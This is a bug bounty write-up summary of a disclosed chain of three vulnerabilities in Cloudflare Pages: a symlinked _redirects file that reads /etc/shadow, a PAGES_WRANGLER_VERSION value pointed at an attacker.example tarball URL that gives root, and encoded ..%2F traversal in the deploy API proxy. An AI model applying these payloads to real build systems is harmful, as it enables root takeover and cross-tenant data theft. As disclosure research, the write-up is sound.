# Cloudflare Pages: build sandbox root RCE and API proxy traversal

Cloudflare Pages build sandbox: symlinked _redirects leaks arbitrary files, PAGES_WRANGLER_VERSION npm URL install yields root, and path traversal in the deploy API proxy exposes all users' KV assets.

- Payout: Research
- Severity: critical
- Program: Cloudflare
- Write-up by: RyotaK
- Disclosed: 2023-12-23
- Write-up quality: 8/10
- Original: https://blog.ryotak.net/post/cloudflare-pages-privesc-and-page-tampering/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-ryotak-net-post-cloudflare-pages-privesc-and-page-tampering
- Tags: area:web3 domain:cloud domain:web3 impact:data-leak impact:integrity impact:privesc kind:research platform:research sev:critical technique:chained technique:source-review vuln:info-disclosure vuln:path-traversal vuln:rce

**Target:** Cloudflare Pages build environment (build_tool, wrkr) and internal deploy API proxy
**Root cause:** build_tool runs as root and passes user-controlled PAGES_WRANGLER_VERSION into `npm install wrangler@{version}`, which accepts a tarball URL; separately the deploy API proxy only strictly validates paths for the shared KV namespace, not per-deploy namespaces, allowing `..%2F` traversal to arbitrary api.cloudflare.com endpoints.
**Steps:**
1. Set build command to create `_redirects` as a symlink to `/etc/shadow`; after build, the parser reads it as root and the contents appear in the dashboard (arbitrary file read).
2. Use that read to download `/opt/pages/build_tool/main.py` and inspect it.
3. Set env var `PAGES_WRANGLER_VERSION` to `https://attacker.example/evil.tgz` so build_tool runs `npm install wrangler@https://attacker.example/evil.tgz`, fetching attacker tarball.
4. build_tool later executes `./node_modules/.bin/wrangler2 pages functions build ...` as root, running the malicious package -> root in build container.
5. Point `CF_API_HOST` at a self-hosted reverse proxy to observe wrkr's calls to api.pages.cloudflare.com and the JWT/account IDs.
6. Append `..%2F..%2F..%2F` to the per-deploy KV namespace path in proxied requests to reach arbitrary api.cloudflare.com endpoints.
**How found:** Started from a prior Cloudflare Pages blog post, tried symlinking build output to read /etc/shadow (failed for index.html but worked for the parsed `_redirects` file). Read build_tool source, noticed PAGES_WRANGLER_VERSION interpolated into `npm install wrangler@{version}`; read npm's npa.js and learned version strings can be tarball URLs. Later, while fuzzing the internal API proxy, noticed all users shared one account ID and that per-deploy KV namespaces had weaker path checks than the shared namespace, then appended `..%2F` sequences until another user's namespace listing appeared.
**Exploitation:** Attacker controls their own Pages build; symlink read leaks build_tool source, then a crafted wrangler tarball via PAGES_WRANGLER_VERSION executes as root inside the build pod. With root and a reverse proxy on CF_API_HOST, the attacker observes the internal API proxy and abuses lax path validation on per-deploy KV namespaces to query arbitrary api.cloudflare.com KV endpoints, reading other users' deployed static files, Workers code, and build logs, and potentially overwriting files right after upload to tamper with others' deployments.
**Escalation:** Chained three bugs: arbitrary file read -> root in build sandbox -> internal API proxy path traversal -> cross-tenant access to all Pages assets and Workers code, plus potential page defacement.
**Insight:** Build/deploy pipelines that interpolate user env vars into package-manager install specs are RCE-as-root: npm/pip accept URL specs where a version is expected. Also, when an internal API proxy validates paths for one namespace but not another, compare validation across sibling routes and try encoded `..%2F` on the weaker one.
